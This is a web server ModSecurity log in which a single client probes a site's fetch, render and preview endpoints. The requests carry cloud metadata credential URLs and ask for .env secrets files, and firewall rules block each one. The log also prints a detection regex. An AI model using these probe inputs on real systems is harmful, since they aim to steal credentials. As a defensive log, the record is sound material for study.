"/api/fetch"] [unique_id "at7VZtL67pOsP-7URAtCOQAAABo"]
[Mon Oct 26 00:21:58.868439 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/fetch"] [unique_id "at7VZtL67pOsP-7URAtCOQAAABo"]
[Mon Oct 26 00:21:58.868735 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/fetch"] [unique_id "at7VZtL67pOsP-7URAtCOQAAABo"]
[Mon Oct 26 00:21:58.972707 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/fetch.php"] [unique_id "at7VZtL67pOsP-7URAtCOgAAABo"]
[Mon Oct 26 00:21:58.973231 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/fetch.php"] [unique_id "at7VZtL67pOsP-7URAtCOgAAABo"]
[Mon Oct 26 00:21:58.973529 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/fetch.php"] [unique_id "at7VZtL67pOsP-7URAtCOgAAABo"]
[Mon Oct 26 00:21:59.083025 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/fetch.php"] [unique_id "at7VZ9L67pOsP-7URAtCOwAAABo"]
[Mon Oct 26 00:21:59.083586 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/fetch.php"] [unique_id "at7VZ9L67pOsP-7URAtCOwAAABo"]
[Mon Oct 26 00:21:59.083918 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/fetch.php"] [unique_id "at7VZ9L67pOsP-7URAtCOwAAABo"]
[Mon Oct 26 00:21:59.254340 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/render"] [unique_id "at7VZ9L67pOsP-7URAtCPAAAABo"]
[Mon Oct 26 00:21:59.254858 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/render"] [unique_id "at7VZ9L67pOsP-7URAtCPAAAABo"]
[Mon Oct 26 00:21:59.255180 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/render"] [unique_id "at7VZ9L67pOsP-7URAtCPAAAABo"]
[Mon Oct 26 00:21:59.404852 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/render"] [unique_id "at7VZ9L67pOsP-7URAtCPQAAABo"]
[Mon Oct 26 00:21:59.405360 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/render"] [unique_id "at7VZ9L67pOsP-7URAtCPQAAABo"]
[Mon Oct 26 00:21:59.405659 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/render"] [unique_id "at7VZ9L67pOsP-7URAtCPQAAABo"]
[Mon Oct 26 00:21:59.567431 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/api/render"] [unique_id "at7VZ9L67pOsP-7URAtCPgAAABo"]
[Mon Oct 26 00:21:59.567927 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/render"] [unique_id "at7VZ9L67pOsP-7URAtCPgAAABo"]
[Mon Oct 26 00:21:59.568215 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/render"] [unique_id "at7VZ9L67pOsP-7URAtCPgAAABo"]
[Mon Oct 26 00:21:59.589034 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7VZ2-vOSxyH8uS5IpnYgAAAA0"]
[Mon Oct 26 00:21:59.589266 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7VZ2-vOSxyH8uS5IpnYgAAAA0"]
[Mon Oct 26 00:21:59.589604 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at7VZ2-vOSxyH8uS5IpnYgAAAA0"]
[Mon Oct 26 00:21:59.723940 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at7VZwSn5HKIYfqg0eAlGAAAADc"]
[Mon Oct 26 00:21:59.724175 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at7VZwSn5HKIYfqg0eAlGAAAADc"]
[Mon Oct 26 00:21:59.724494 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at7VZwSn5HKIYfqg0eAlGAAAADc"]
[Mon Oct 26 00:21:59.748990 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/api/render"] [unique_id "at7VZ9L67pOsP-7URAtCPwAAABo"]
[Mon Oct 26 00:21:59.749441 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/render"] [unique_id "at7VZ9L67pOsP-7URAtCPwAAABo"]
[Mon Oct 26 00:21:59.749686 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/render"] [unique_id "at7VZ9L67pOsP-7URAtCPwAAABo"]
[Mon Oct 26 00:21:59.754552 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at7VZ2-vOSxyH8uS5IpnYwAAAA0"]
[Mon Oct 26 00:21:59.754728 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at7VZ2-vOSxyH8uS5IpnYwAAAA0"]
[Mon Oct 26 00:21:59.754949 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at7VZ2-vOSxyH8uS5IpnYwAAAA0"]
[Mon Oct 26 00:21:59.891643 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at7VZwSn5HKIYfqg0eAlGQAAADc"]
[Mon Oct 26 00:21:59.891892 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at7VZwSn5HKIYfqg0eAlGQAAADc"]
[Mon Oct 26 00:21:59.892250 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at7VZwSn5HKIYfqg0eAlGQAAADc"]
[Mon Oct 26 00:21:59.906349 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/preview"] [unique_id "at7VZ9L67pOsP-7URAtCQAAAABo"]
[Mon Oct 26 00:21:59.906877 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/preview"] [unique_id "at7VZ9L67pOsP-7URAtCQAAAABo"]
[Mon Oct 26 00:21:59.907155 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/preview"] [unique_id "at7VZ9L67pOsP-7URAtCQAAAABo"]
[Mon Oct 26 00:21:59.972454 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at7VZ2-vOSxyH8uS5IpnZAAAAA0"]
[Mon Oct 26 00:21:59.972718 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at7VZ2-vOSxyH8uS5IpnZAAAAA0"]
[Mon Oct 26 00:21:59.973022 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at7VZ2-vOSxyH8uS5IpnZAAAAA0"]
